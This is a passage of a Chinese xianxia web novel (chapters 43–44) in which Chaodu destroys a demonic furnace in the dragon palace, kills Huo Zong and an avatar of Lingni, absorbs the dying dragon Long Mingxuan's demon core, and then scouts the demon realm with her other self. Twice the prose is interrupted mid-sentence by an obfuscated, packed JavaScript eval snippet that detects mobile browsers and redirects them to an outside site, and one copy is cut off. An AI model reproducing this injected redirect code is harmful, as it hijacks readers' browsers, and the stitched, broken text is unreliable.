曾经的魔尊左护法,如今的鬼将霍纵与四个修为不低的魔修守在炼仙炉旁,看着一筐筐黑色的心脏被其他魔修搬进来,再被投入炼仙炉中,化成黑红色的血雾缠向定海珠。 “这些心脏都是……”龙鸣玄声音颤抖,朝渡轻轻拍了拍他的肩,安慰道,“我们会帮他们报仇的,去吧,去龙宫大殿的密道口静观其变。” “那你将再也没有退路!”龙鸣玄忍不住道。 朝渡望着清波殿中的几个魔修,微微扬起嘴角:“正合我意。把密道口打开吧,等我出去后,记得把这条密道口彻底封掉。” 龙鸣玄深深望着她,在她的微笑鼓励中,指尖颤抖地落到了阵法上,在密道口开启的一瞬,朝渡隐蔽身形与气息,在瞬间冲了出去,不见身形,只见雷光。 灼目浩荡的雷光与无数道剑气在顷刻间填满了整间宫殿! 下一瞬,清波殿被轰然炸碎! 炼仙炉碎块四溅,无数血水疯了般从中涌出,又在浩荡雷光中被悉数净化,没有从清波殿散出一点。 四个高阶魔修与几个搬运心脏的魔修在雷光与剑气中化为灰烬,在死的一瞬都不知道自己已经死了。 霍纵比他们反应快许多,在朝渡冲出时他便看向密道口,但已经晚了。 在死前的一瞬,他的眼中倒映出了无数剑气与浩荡雷光。 他死去的表情,定格在震惊的那一瞬,随后,他的躯壳也在雷光中化为了灰烬。 忽然,一道血影从他的躯壳余烬中逃出,向着雷光的薄弱处冲了出去,朝渡对此早有预料,令隐形等候于此处的千钧剑刺向血影,接着从剑中绽放出千万道雷光将这道血影也彻底“净化”。 朝渡微微呼出一口气:这次先手出招,虽然花了不少灵力,但毁了炼仙炉,净化了炉中怨气深重的血水,得到了定海珠,而且彻底解决了麻烦的“血浪剑”霍纵——他如今既是魔修亦是鬼修,唯有将他的魂魄一起“净化”,才算彻底杀死他。 “不死之魂?”朝渡收回千钧剑,摇了摇头:他还真信了凌问的说辞。 这世间哪有真正的不死?所谓的不死之魂,不过是不入轮回罢了,她助他魂飞魄散,一样可以让他不入轮回。 朝渡抬起手,让躺在炼仙炉残骸中的定海珠飞入掌心,她望着这定海珠微微蹙眉:被魔气污染成这样,不知还能否在让它完好无损的前提下将它净化?恐怕很难。 无论如何,它现在不会再污染更多的妖了。 “夕溯,你杀了霍纵?”熟悉的声音从半空传来。 朝渡收起定海珠,微笑抬头:“灵逆,来得很快嘛,我可是如约来了哦。” 一身华丽礼服,戴着半截青铜面具的灵逆浮在半空中,视线来回扫过清波殿废墟,嘴角竟有几分难掩的笑意:“你真的杀了霍纵哈哈哈!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739357|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 朝渡:“……?”她怎么看起来,这么高兴? 灵逆身后的一群魔修面面相觑,灵逆自己似乎也意识到了自己的失态,她敛起笑意,却又忍不住惊讶道:“你竟然真的敢来,你是怎么直接来到这的?” 朝渡眨了眨眼,微笑:“秘密。” “那就跟你的秘密,永远留下吧。”灵逆手中浮现一支骨质的篪,朝渡当然不会让她吹奏这支篪,立即向她斩出一道剑气,然而下一瞬,篪的声音从四面八方响起! 朝渡的手臂与身躯上瞬间生出许多肉芽,又被缠绕在身上的雷光覆盖净化,二者此起彼伏,一时僵持不下。 同时,上百的魔修如乌云般分散开,将她包围在中间,各种诡异的兵器法宝对准了朝渡,还有魔修组成了阵法,但都没有立刻发动攻击。 “你很幸运。”灵逆垂眸,神色复杂地看着朝渡,“师尊很欣赏你,如果你愿意拜入师尊门下,我可以留你一命。” 朝渡将剩余的灵力化成雷光,不断地净化着自己的躯壳,不让自己被灵逆的篪声污染,同时微笑道:“还有这种好事?鬼王想收我为徒?她不是一直只有你一个徒弟吗?” 灵逆脸色发寒:“是啊,所以,你会放弃这个机会的,对吧?” 朝渡摇头,一脸真诚:“不放弃,我想活,凌问,或者说鬼王长梦,她在哪?让我给她端一杯拜师茶?” 一群魔修面面相觑,灵逆也蹙起眉头:“你灵力即将耗尽,还有什么花招?” 朝渡张开空荡荡的双手,笑意盈盈:“我哪有什么花招?我现在逃得掉吗?魔尊大人明鉴,我只是想留一条命!拜师就拜师嘛,拜这位当过盟主、魔尊、鬼王的凌问为师,我也没什么亏的。” 灵逆身旁的一个魔修低声道:“大人,我感觉她在拖延时间,不如还是……” “但师尊想收她为徒。”灵逆拧紧眉,握紧手中的篪,忽然目中凶光一现,“不管了,杀了她!不会再有这么好的机会了!” 灵逆吹奏起篪,朝渡身上的肉芽如柳条般疯长,周围的魔修同时发动进攻! 朝渡眼睛雪亮,在瞬间将自己化为一道剑气刺向灵逆,反守为攻! 灵逆篪声音调一转,两条巨大的血龙破土而出,以血肉之躯挡在灵逆与朝渡化成的剑气之间! 朝渡在看清这两条血龙的一瞬便从剑气重新化为了人形,堪堪擦过这两龙,飞向上空:这两条血龙,分明是血肉模糊的前任龙王与王后,也就是龙鸣玄的父王母后! 这两条龙没有被魔气污染,只是被操控了神智,既是兵器,也是肉盾,同时还是人质。 朝渡眼神冰冷地看着灵逆,灵逆手持骨篪,微笑地看着她:“不装了?看来你并不是真心想成为师尊的弟子,那我便不必手下留情了!” 说得跟她刚才打算手下留情一样。 朝渡一声冷笑,眼角余光瞥向远处的龙宫大殿:大殿那里静悄悄的没有任何动静,也许龙鸣玄已经成功潜入其中,正在营救龙游蓝他们了。 朝渡沉下目光,下定决心,要继续拖延时间,让他能把其它妖都救走,也等待仙盟援手的到来——按时间来算,应该已经到了吧?为何迟迟不见踪影? 不过灵逆似乎猜到了她打算拖延时间的心思,命令道:“立刻杀了她!” 灵逆再次吹奏骨篪,上百的魔修围成天罗地网,其中十二个魔修结成法阵将她困在其中,另有十二个魔修结成诛魂阵包围了她。 朝渡躲避着攻击,忍受着篪声与诛魂阵的侵蚀,擦掉嘴角涌出的黑色血液,飞快思索着:天道方才又放松了对她的一成压制,但她只剩大半成灵力,哪怕放松压制也没用,肯定无法与这些魔修正面为敌。 身上虽然带了些防御法宝,但不足够挡住这么多魔修的进攻。 如果撤退,她无法与这些被污染的海水共鸣,怕是很难摆脱他们的追踪逃到水面上,但也许可以撑到仙盟的援手到来……到底为何还没来?! 朝渡忍不住抬头望向水面的方向。 灵逆忽然笑了起来:“你在等仙盟的人吗?他们刚才就来了,探子都派了两波了,却没有一人入海救你,你猜是什么原因?” 43. 妖丹 朝渡心念一转,也笑了起来,笑意森冷可怖:“领头的人莫非是傅不辞?” “是啊,仙盟之主亲自来救你。”灵逆语调讥讽,“不过他似乎没打算把你活着救出去。” 朝渡一边躲避攻击,一边点头:“他想等我们两败俱伤,尤其是等我死了,他再来坐收渔翁之利,还能借你之手除掉心头大患,真是好算计啊。” 游藏成功说服了仙盟派人来支援她,但却无法控制支援者具体支援的时机,傅不辞只需要稍微拖一拖,支援结果就会天差地别! 灵逆怜悯地看着朝渡:“后悔了吧?修仙界都是这种假仁假义的东西,就你傻乎乎地跑过来要救人。” 朝渡微笑:“我自有我的道,与他们无关。”但如果仙盟的人不肯入海来救她,只想等她死了再来坐收渔翁之利,她该怎么破局? 如果把定海珠捏碎,海中应该会掀起巨浪,足够冲散魔修给她脱身的机会。 但毁了定海珠,这片海以后的浪怕是没那么安宁了……也许可以再炼制一颗新的定海珠?毕竟这颗已经被污染成这样了。 朝渡飞速思索着,忽然间,伴随着一声沙哑扭曲的龙吟,四面八方的海水晃动起来,四周的篪声戛然而止,一道高不可测的厚重浪墙凝聚成型,随即骤然向魔修组成的包围圈扑来! 灵逆瞥了眼浪墙,神色淡定地吹起篪,包围圈四周顿时形成了巨大的血色漩涡,将那浪墙悉数吸纳化解! 包围圈虽然没有松动,但许多魔修的注意力都被那巨大的海墙转移了,朝渡瞬间抓住机会,化成一道细而锐利的剑气,穿透魔修的两层阵法,化做一道海水如利箭般冲向方才龙吟响起的方向。 灵逆的篪声以及那上百魔修在她背后如影随形,朝渡无法与入魔的海水共鸣,只能拼尽全力提高速度。 再快一点,再快一点!去找到龙鸣玄,他怎么非但没走,还暴露了自己的方位?! 朝渡极速前进着,忽然发现一团血肉诡异扭曲如杂乱海草的东西向她飞了过来。 这熟悉的气息……这是龙鸣玄?! 朝渡愕然接住这团扑向她的诡异血肉。 他的躯体被篪声影响,已经严重变形,无法说话,分不清头部与手足,不知方才是费了多大功夫才掀起那滔天巨浪的。 一块血淋淋的肉颤抖着将一颗闪闪发光的金丹塞到了她的手中。 接着,这团扭曲的血肉如冰雪般从她臂弯中融化落下,只剩下一柄白玉鞘青玉刃的剑。 这是她送给他的入门礼。 朝渡手指颤抖地握住这剑,忽然听到剑中传出了他虚弱的声音:“我把他们都救出来了,小蓝已经带着他们离开,只差你了……吃下我的妖丹,你应该能够离开这里。” 只是听他魂魄说话的片刻功夫,灵逆已经带着那群魔修追了上来,重新将她包围,各个紧盯着她,不敢再被转移半点注意力。 灵逆打量了一下朝渡手中的剑与妖丹,惊讶道:“今天居然还有一个傻子。” 朝渡握紧了剑,仰头将那妖丹吞下,冷冷地看向灵逆。 灵逆又故作诧然地问:“修仙者可以吃妖丹吗?这得算魔修了吧。” 周围的魔修爆发出哄笑声: “剑仙也成魔修了!” “可见还是魔修好啊!” “热烈欢迎剑仙夕宗主成为魔修加入我们!” 朝渡没说话,静心汲取这颗妖丹中的力量。 一般来说,修仙者想要获得妖丹中的力量,需要一个漫长的转化过程,中间甚至可能遭到妖丹反噬。 但这颗妖丹也许是受到主人意志的影响,几乎是主动将力量充盈进朝渡的经脉中。 感受到朝渡身上的灵力变化,灵逆的脸色变了:“你怎么能这么快就吸收这颗妖丹?!” 朝渡依旧沉默,只是一挥手,袖中飞出十二柄剑,围绕在她身旁,缓缓旋转着。 另有两柄剑:千钧剑与青玉剑浮在她手边,蓄势待发。 本来,她只是想离开这里,现在,她想将他们全部留下,永远留下。 所有的魔修都安静了,没人笑得起来了,谁都能感受到她周身灵力与气场发生的巨大变化。 原本的笼中困兽,已经撕碎了笼子,目光冷冽地盯着曾经的围观者——如今的她的猎物。 篪声再次响起,比方才更急促诡异几分,朝渡身上缠绕着凌厉的雷光,再无一颗肉芽能够钻出皮肤。 上百魔修纷纷发起攻击,朝渡不再只是防御躲避,而是反击与主动进攻! 十二柄剑与十二个她的分身组成剑阵,轻易便撕碎了魔修组成的阵法。 上百名魔修,变成了上百名慌乱逃窜的猎物。 海水的颜色更红了,这次,却是被魔修的血染红的。 傅不辞闻讯,带着仙盟的人匆匆赶来,正看到那柄反复出现在他噩梦中的、闪着雷光的长剑穿透了魔尊灵逆的心脏,还有一柄质似青玉的剑斩断了魔尊的骨篪——她怎么又多了一柄好剑?! “你们来晚了。”朝渡抬手收起十三柄剑,只持千钧剑,冷冷看向迟来的仙盟众人。 “我们已经尽快来了。”傅不辞强作镇定,但他微颤的声音暴露了他再次见到千钧剑后的恐惧,“海中形势不明,我们一探查清楚就过来了。” 朝渡轻抚千钧剑,微笑点头:“探查清楚我没死,还能反杀这群魔修,你们就来抢功了,不过可惜你们还是来晚了,一点功劳都没抢到。” 仙盟众人纷纷低头,无人敢接话,傅不辞勉强笑道:“这就是误会了。这样,你去好好休息,龙宫中残余的魔物交给我们清理。” 朝渡忽然低低笑了起来,目光森冷如冰:“傅盟主啊,您怎么这么会打算盘,您到底是修剑的还是修算盘的?您该去当个账房,当盟主实在是屈才了。” 傅不辞脸色变得青黑,他冷笑道:“不劳你指点,我倒是想请教一下,剑仙夕宗主,如今怎么会满身妖气,难道你吃了妖丹?这可是魔修行为啊。” 仙盟众人忽然就有勇气抬起头打量朝渡了,他们的眼神瞬间都变了,变得鄙夷不屑。 随着众人的窃窃私语,傅不辞抬起头傲然宣判道:“你已经失去了修仙资格,你不再是修仙者,更不是仙了!” 朝渡忽然开怀笑了起来,笑出了声,笑得痛快,笑出了泪花。 “你们对仙的理解就是这样吗?”朝渡擦了擦眼角笑出的泪花,讥诮道,“我算是知道,你们为何都成不了仙了,你们既不理解仙,也不理解道,你们只是在假装修仙罢了。” 一群人的脸色顿时变得难堪,尤其是傅不辞。 朝渡没再说话,她提起千钧剑,在瞬间以雷霆的速度刺向傅不辞。 傅不辞本能地提剑格挡,同时,一种近乎绝望的恐惧从他的骨髓与灵魂里弥漫出来。 他眼睁睁看着,那双熟悉的冰冷的眼睛出现在他的新佩剑之后,就像那天晚上一样。 但这次,他已做了准备,身上的玉佩可开启十二重护身阵法,他不信她还能碎了他的剑! 朝渡淡漠地看着十二重阵法展开,千钧剑的剑尖被定格了一瞬。 然后,他好不容易选定的新剑,再次碎了。 那场死死缠绕他无数日夜的噩梦,再次出现了。 “不——!傅不辞睁着血红的眼睛,溺水般大口喘息,又如丢掉滚烫烙铁般丢掉手中残余的剑柄,恐惧道,“不、这不可能!!!” “你,不配用剑。”朝渡收剑入鞘,淡淡道,“你也不配做仙盟之主。” 说罢,她转身离去,回到了龙宫,直奔龙宫宝库,想找到能重塑身躯的海灵贝与其中的海灵珠。 然而宝库大门敞开着,里面空空如也,早已被那群魔修搬了个干净。 朝渡握紧了手,咬牙切齿:“灵逆!!!” 她知道灵逆还没有死,灵逆分身重多,今日不过是杀了她的一具重要分身,毁了她常用的骨篪,重创了她的力量。 灵逆会把宝库中的宝物都搬到哪? 朝渡瞬间想起了一座城的名字:冥明城。 那是由上任魔尊现任鬼王凌问亲手设计的一座城,如今由灵逆掌管,而她的好师尊凌问亦居住其中,只不过不理城务罢了。 “恩人……”一个疲惫沙哑的声音从朝渡身后响起。 朝渡回头看去,发现是两个血肉模糊的人,互相搀扶着,一步步向她走来。 他们是被龙鸣渊囚禁,又被灵逆控制的先王与先王后,在灵逆的这具分身死后,他们恢复了神智,找到了目前龙宫中唯一的活人。 “恩人,你身上为何会有小玄的气息……”先王后龙月珠抬起血迹斑斑的脸,声音颤抖地询问,眼中充满希冀地望着朝渡,“小玄是不是还活着?!!” 先王龙定浪也充满期待地望着朝渡:“我刚才好像听到小玄的声音了,他在哪?!” 朝渡沉默,一时不知该如何回答,她想起龙游蓝离开前,龙鸣玄让龙游蓝帮忙转告这两位的话:“我一切安好,只是在外云游四海,暂时不想回龙宫。” 但如今这情形,这两位哪里会信,大抵还会猜到他的真实情况。 朝渡轻声道:“我问问他,想不想见你们。” 龙月珠忍不住激动道:“小玄怎么会不想见我们?!!” 龙定浪深深看了朝渡一眼,似乎意识到了什么,拉住龙月珠,劝慰道:“小玄还活着就好,其它不重要。” “可是我想小玄啊,我都一百多年没有见到他了!!!”龙月珠落下泪来,与脸上的血混在一起落到地面上,她声音颤抖地问,“小玄他要是好端端地怎么会不愿意见我们,他到底出什么事了???” 朝渡微微摇头,走进宝库深处,取出青玉剑,告诉他的魂魄:“你的父母很想见你。” 他的魂魄没有回应,似乎陷入了沉眠,他体内没有天雷之力,无法抵抗灵逆的篪声,那篪声不仅扭曲了他的躯体,也重伤了他的魂魄。 朝渡握紧剑,缓缓收起,回到了宝库门口,望着两个充满期盼的妖轻声道:“他也很想你们,但是怕你们担心,他现在的状态不太好,想恢复一下再见你们。” 龙月珠又落下泪来,龙定浪连声劝道:“听到了吗,小玄还活着,就是怕咱们担心,别哭了,等过段时间就能见到小玄了!” 龙月珠连连点头,但根本止不住泪。 朝渡轻叹,取出两盒丹药递给她:“两位保重身体,这些丹药能帮你们疗伤。” “多谢恩人。”龙月珠收下丹药,看着空荡荡的宝库窘迫道,“您对龙宫有大恩,可现在龙宫实在是没什么能答谢您的……” 朝渡微微摇头:“不必客气,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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传音玉简另一侧,游藏听到她的声音,明显松了口气:“太好了,你还活着!傅不辞一开始不同意去支援你,后来被迫同意,又非要自己带队,我实在怕他搞出什么幺蛾子害了你。” 朝渡淡淡微笑:“那你为何不提前告诉我,来支援的是傅不辞?” 游藏顿时沉默。 朝渡躺在白玉鹤上,望着看不到边际的夜幕星河,轻叹:“以你的才智,你不会猜不到他要对我不利,只是你觉得,我是个巨大的变数,你不确定我对修仙界是否有利,未来又是否会与修仙界为敌,死了的我才更令你安心,对吗?” 玉简的另一侧,是长久的沉默。 朝渡笑叹:“你的本质的确没变,不过不是为了我,而是为了修仙界,我不怪你,毕竟我的确不属于这个世界。” 游藏:“…………抱歉。” 朝渡忽然不想回答了,再想想没什么要事要说了,便关上了传音玉简。 她闭上眼,有些疲惫。 理智上,她知道不该怪游藏,但被信任的人欺骗算计,实在心寒。 好想找个安静的地方好好睡一觉。 朝渡思索起哪个地方适合她躲起来睡一觉,要不还是回到仙隐宗,假称闭关实则睡觉吧。说起仙隐宗,不知道她们几个发现她离开了没有?如果没发现的话,还要不要告诉她们? 朝渡正想着,传音玉简忽然又亮了。 她打开一看,还是游藏。 游藏充满歉意的声音从另一侧传来:“抱歉,我……” 朝渡:“如果只是说抱歉就不必了,我说了,不怪你。” “我其实,在三天前收到了一封密信,来自言可掌门。”游藏的语速越来越快,像是下定了某种决心,将秘密和盘托出,“信上说,他卜算出,修仙界将有大劫,届时阴阳逆转,生人皆死。” 朝渡蹙眉:“这么大的劫,谁能做到?” 随即她恍然,“你觉得,这大劫是我干的?” 游藏没有肯定,只道:“有这样可怕力量的人不多,你是其中之一,除了你,或许只有鬼王凌问能做到——魔尊灵逆,都不够格。” 朝渡理解了她的思路:“所以你想把我和鬼王这两个潜在危险都解决掉,最好是让我们两败俱伤。” 游藏不答,只道:“十年了,十年前并非修仙界获得胜利,而是魔尊与鬼王忽然停止了进攻,也许现在,她们的目的快要达成了,而我们对此一无所知。” 朝渡忍不住问:“这里的修仙界没有建立情报调查的拂衣部吗?” “建立了。”游藏轻轻叹道,“但这一部由盟主完全掌控,我无权插手。” 朝渡:“……哈,这种事上他倒是上心了,他的调查都查到哪去了?!” 游藏摇头长叹,又道:“我可以新建一个专项调查魔尊鬼王动向的组,但人选是个大问题,魔域诡谲危险,有能力去且愿意去的人不多,而且修仙者因为身无魔气,在魔域很容易被识别发现,万一被发现……连死都是种奢望。” 那些魔修的手段,比噩梦更可怕,比酷刑更残忍。 “也许最好的人选,是一个心向修仙界的魔修。”游藏苦笑,“哪有这样的魔修……唔,好像真有一个。” 44. 调查魔尊 朝渡瞬间明白了她所说的人选是谁,也明白了游藏的意思。 “让她去?”朝渡眉头紧锁。 游藏:“盟主的确对不起她,但修仙界大劫当前,她现在是最合适的人选。” 朝渡沉默不语,她也明白,另一个她是最合适去魔域探查的人选,可是…… 游藏又道:“夕宗主,如果是你我适合此事,你我都不会犹豫。此事关乎修仙界的未来,若修仙界有劫难,我们谁都无法独善其身,唇亡齿寒这个道理,我想朝渡也明白,不如先问问她?” 朝渡沉默片刻,问:“新剑试锋大比,还有多久?” “三个月。”游藏目光晦暗,“如果她们近期想再次动手,新剑试锋大比是最好的机会,实在不行,可以先暂且推迟大比,但一旦推迟,修仙界会人心惶惶,凤族所统领的诸妖族也会生疑,魔尊与鬼王或许会提前行动,情况怕是会更糟。夕宗主,朝渡那边拜托你了。” 朝渡轻笑:“你用起人真不手软,这边刚坑我一次,又想让我去劝朝渡到魔域当卧底。” 游藏沉默片刻,低声道:“形势所迫,非我本意,如果可以,我也想真正信任你,与你成为至交好友,如果这次朝渡成功……” “如果她成功,你对我的信任就会增加?”朝渡摇头微笑,目光有些冷,“也许你有些误会,现在不是我需要你的信任,而是你们需要我的信任,这个世界说白了与我无关,你的不断算计,只会令我厌烦。” 游藏:“…………” 朝渡再次关闭了传音玉简,忍不住感慨,两个世界的游藏区别还是挺大的,在她原本的世界中,游藏十分信任她,从未这般算计过她,在她一开始不懂仙盟内部那些复杂关系时,她还会彻夜点灯,将那些复杂关系一点点掰开揉碎讲给她听,如果有需要她牵涉其中的计划,她也会把全部计划都明明白白地告诉她。 是她大意了,将对原本世界中游藏的信任直接放在了这个世界的游藏的身上,差点没了命。 说起来,这个世界的游藏是跟傅不辞学了打算盘吗?盯着她把算盘打得震天响,这仙盟改叫算盘会得了。 朝渡轻笑摇头,又忍不住叹息:罢了罢了,不跟她计较,她也是为了修仙界。 说起修仙界,言可的占卜不能忽视。 朝渡抬头看向皎洁的月,眉头微蹙:这片月色,会在不久的将来蒙上血色吗?修仙界会在何时迎来大劫?能提前化解吗?魔尊与鬼王究竟在用十年筹划什么? 她骤然想起上一世,鬼王死前的笑叹:“可惜生死簿尚未炼成,不然你们将见到真正的仙。” 她带人找遍鬼王老巢,并未找到她口中的生死簿,也许是鬼王自知将败,提前毁了它,好不让修仙界得到。 难道在这个世界,鬼王真的炼成了生死簿?! 朝渡倒吸一口凉气,有点头皮发麻:如果她真的炼成了,这生死簿会有多大的威力?她口中的真正的仙会是什么模样? 朝渡坐都坐不住了,站起来在鹤背上缓缓踱步:该怎么做?该从哪里入手?真的要让另一个朝渡去魔域调查吗? 天快亮时,朝渡回到了仙隐宗,远远便能看到另一个自己还在小楼露台上修炼。 稀薄的星光如纱般轻轻落到她的眉眼上,她对此毫无察觉,已经进入了十分专注的状态。 根据分身传来的消息来看,这几日她似乎并未发现自己的本体离开了,朝渡想了想,还是决定把在碧金海的经历告诉她和其他人:成长成熟,从不只在于剑法上的进步,也在于眼界的开阔与道心的淬炼。 她飞向另一个朝渡,另一个朝渡似乎心有所感,睁眼抬头向她看了过来,对她笑着招了招手。 朝渡落到了她身旁,她不好意思地笑道:“我在学你的修炼方法,不过我还比较容易分心嘿嘿。” 另一个朝渡说着,忽然抬手用指尖拂了拂朝渡的眉心,关切问道:“你很少这样皱眉,是有什么心事吗?可以告诉我吗?” 朝渡沉默,魔域实在危险,刺探消息九死一生,她宁愿自己去……但她身无魔气,实在难以混入魔域中,贸然前去只会打草惊蛇。 “让我猜猜,莫非跟龙鸣玄有关?”另一个朝渡猜测道,“你们俩那晚宴席那会就不太对劲,说起来,这几天好像没见到他。” 朝渡:“……跟他没关系,他……嗯,一会再说吧。” “那是因为什么?”另一个朝渡好奇问,“天底下还能有什么让你这般发愁?” 朝渡轻叹不语,另一个朝渡不断催促道:“快说嘛,让我长长见识也好,而且,也许我能帮你分忧呢?” 朝渡不由苦笑:她确实能帮自己分忧,但……这忧实在过于危险了。 “告诉我嘛!”另一个朝渡晃着她的袖子,朝渡无奈,将游藏所说告诉了她。 “所以,现在需要我?”另一个朝渡微微睁大眼睛,百感交集地笑道,“这个修仙界居然还有只有我能做的事?” 朝渡心情复杂地看向她,再次提醒道:“魔域非常危险。” 另一个朝渡沉默片刻,轻快笑道:“我知道你担心我,但修仙界大劫当前,我是最合适的人,正如游藏所说,唇亡齿寒,如果修仙界完了,哪怕身处仙隐宗,也看不到这么美的月色了吧?我只是实在没想到,我的用武之地,居然是我入魔带来的,这叫什么,福祸相依?” 朝渡:“你觉得这是福?” 另一个朝渡望向朝渡,笑道:“我只知道,如果是你,你一定不会拒绝,而我想成为你。” 朝渡:“……我明白了。既然如此,我陪你一起去。” 另一个朝渡惊讶:“可你满身精纯灵力,剑中还有天雷,魔修肯定一眼就能看破,你要怎么去?” 朝渡打了个响指,一粉一蓝两只小鸟落到了另一个朝渡的肩头,朝渡望着它们轻叹:“我的本体需要修炼积攒灵力,没法陪你一起去,我让分身带着千钧剑,以早睡早起的样子陪你去,两只小鸟隐身,并且不需与人交谈,应该不容易暴露。打探消息主要交给你,保护你安全交给我。” 另一个朝渡眼睛一亮,开心道:“好!那咱们什么时候出发?” 朝渡:“现在?” 另一个朝渡欢呼:“现在!” 朝渡唤出白玉鹤,另一个朝渡带着两只小鸟轻盈落到了鹤上。 朝渡望着她,叮嘱道:“一定要注意安全!” 另一个朝渡回头,弯起眼睛笑道:“放心!” 另一个朝渡与两只小鸟乘坐白玉鹤,在朝渡与群星的目送中,一路从灰荒岭向魔域飞去。 在她们离开后,朝渡扶住头,头疼欲裂:剩余的灵力几乎都给了那个分身,有多久没有这种灵力耗尽的感觉了? 朝渡扶着栏杆与墙,一点点挪进屋中,先取出一个足够放剑的长玉匣,将剩余的几瓶荷月宁魂露都倒了进去,再将青玉剑浸泡其中。 接着,她定心凝神开始打坐,以最快的速度积攒灵力。 日出时,她之前留在仙隐宗的其他分身替她宣告:她要闭关修炼,同时,朝渡进步颇快,也要闭关突破。 …… 傍晚时,另一个朝渡与“朝渡”一同抵达了魔域。 说是魔域,其实在十年前,这里的许多城池与山水都属于修仙界。 又飞了半个时辰,一座城出现在了两个朝渡的视野中,朦胧的星光怜悯地抚摸着一片废墟残骸,隐约有类似狼嚎的声音随风传来,更添几分凄凉。 朝渡叹道:“云灯城,当年热闹时灯火如云。” 另一个朝渡怅然道:“现在只剩荒草满城,你说,还会有幸存者吗?” “很难。”朝渡摇了摇头,忽然眼神一凛,“城中,好强的魔气,那一大团是什么?” “你眼神真好……”另一个朝渡努力辨认了好一会,才看明白朝渡提到的那一大团:黑灰色的,在城中间,几乎与城融为一体,但似乎还隐约有起伏?“像是个活物?” 朝渡:“嗯,去看看吧,隐蔽好身形和气息,不要贸然动手,小心打草惊蛇。” 白玉鹤带着两人飞到了城中那一大团不明物的附近上空,来回徘徊着。 朝渡让“早起”去巡查城中情况,搜寻基本不可能存在的幸存者,自己则留在另一个朝渡的肩头,一起观察这一大团不明物,它看起来……有点像只侧卧的狗? 另一个朝渡愕然:“好大一只魔物,那是它的头?有一座楼那么大!!街道周围的房屋全被它挤垮了!” 朝渡轻叹:“不知吃了多少,才能长成这般体型。嘘,它动了……” 黑灰色的巨大魔犬动了动鼻子,随后它睁开了三双血红色的眼睛,贪婪地望着空中,接着一双又一双……密密麻麻数不清的眼睛从它身上睁开了,刹那间,它身上像绽放了无数血花,花中是一个个乱转的眼球。 这些眼睛争先恐后地望着空中,目光一寸寸刮过天空,似乎在搜寻什么。 另一个朝渡打了个激灵,极其小声地问:“它们发现我们了?” 朝渡:“看来是的,我们只是隐蔽了身形和气息,但狗的鼻子很灵,可以闻到气味,早起回来了,城中没有幸存者和别的魔物魔修,走!” 白玉鹤瞬间振翼飞高,嗖的一声如利箭般冲了出去,后面隐约可以听见仿佛狼嚎般的凄厉声音,令人头皮发麻。 另一个朝渡回头看去,发现那只巨大魔犬竟站了起来,无数双眼睛盯着她们离开的方向,接着从它身上飞了出来!!! 它们组成了一大团“血雾”,另一个朝渡看得头皮发麻,连声问:“怎么办?它们要追上来了!哎……散开了!” 朝渡回头看了眼:“它的本体鼻子灵,分出来的眼球可没有鼻子,我们飞出了那么远,它们已经失了目标,只能在那附近散开碰碰运气,找不到我们的。” 白玉鹤的速度快如闪电,很快,巨大魔犬的身形和那团可怖“血雾”在后面越来越小。 另一个朝渡才猛地松了口气,回过神发现自己出了一身冷汗:“太可怕了……它居然能靠气味发现我们,我身上也没什么气味吧?” 朝渡笑道:“你当然没有,不过狗能闻到人闻不到的气味,这只魔犬的鼻子更是不容小觑,虽然可怕,但如果能利用好,这反而给击败它提供了机会……我先记下来,到时候跟其它情报一起交给仙盟。” 又过了小半日,两个朝渡的视野中又出现了一座城,一座鬼气森森的城。 朝渡这次涨了经验,让白玉鹤停在远处的空中,先派早起在城墙外转了一圈。 借着早起的眼睛,朝渡看到:“这里有魔修聚集,也许能搜集到些什么情报,而且进门不需要查验身份。” 另一个朝渡默默给自己打气:“我准备好了!” 朝渡:“好,放松,别紧张,我在这,对了,你戴个面具吧,然后把隐蔽魔气的项链收起来。” 两个朝渡准备好,远远地收起白玉鹤,走向城门,城门上“雪月城”三个刻字残破不堪,上面溅着十年前的血。 另一个朝渡望着城门上的刻字微微出神:“雪月城……我记得以风雅著称,画修琴修云集,如今竟成了这副模样……” 她目光移向城门中,顿时睁大了眼:“那家铺子在卖人皮和米肉?!” 朝渡提醒道:“魔修不会对此感到意外,快,自然地往前走,他们有人在看你了。” 另一个朝渡在袖中悄悄握紧手,尽量作出轻松的,对周围习以为常的模样往前走。 但实际上她越走越惊心:这座城里的魔修卖的东西实在丧心病狂。 除了刚才米肉铺看到的那两样,这家药铺门口摆着血淋淋的药人——也许曾经都是修仙者,还有各种药:据说是用百颗心脏炼出来的延寿魔药,能把人变成傀儡的秘药等等。 再往前,那个摊子里摆满了笼子,里面关着奇形怪状的各种魔物……可为什么有些看着像人呢? 另一个朝渡没忍住多看了两眼,店里走出一个满身魔纹的人,呲着挂着血丝的牙,热心介绍道:“这个可不是一般魔物,都是用十年前捉的修仙者炼成的!现在这样的好货可是卖一个少一个,过了这村就没这店咯!” 另一个朝渡摇了摇头强压想吐的感觉,继续往前走,前面是一家馆子,里面有几个魔修在喝酒。 另一个朝渡瞥见门口的菜单,领会到那些菜是用什么做的之后,顿时把手压到了面具上,差点当场呕出来。 朝渡:“虽然这里比较适合探听情报……但还是等会再来吧。” 另一个朝渡艰难地点了点头,继续往前走,看到了一家卖法宝的店,里面摆着琴,琵琶等各种乐器,还有各种护身的法宝,但这些东西一看就不会出自魔修之手。 若细看,那弦上面似乎还有没擦干净,也根本擦不干净的黑色血迹…… 另一个朝渡咬住牙,深吸一口气,告诉自己,得尽早帮他们报仇。 然后强撑着走回了那家有魔修喝酒的馆子里。 一个人形傀儡走了上来,询问要吃什么。 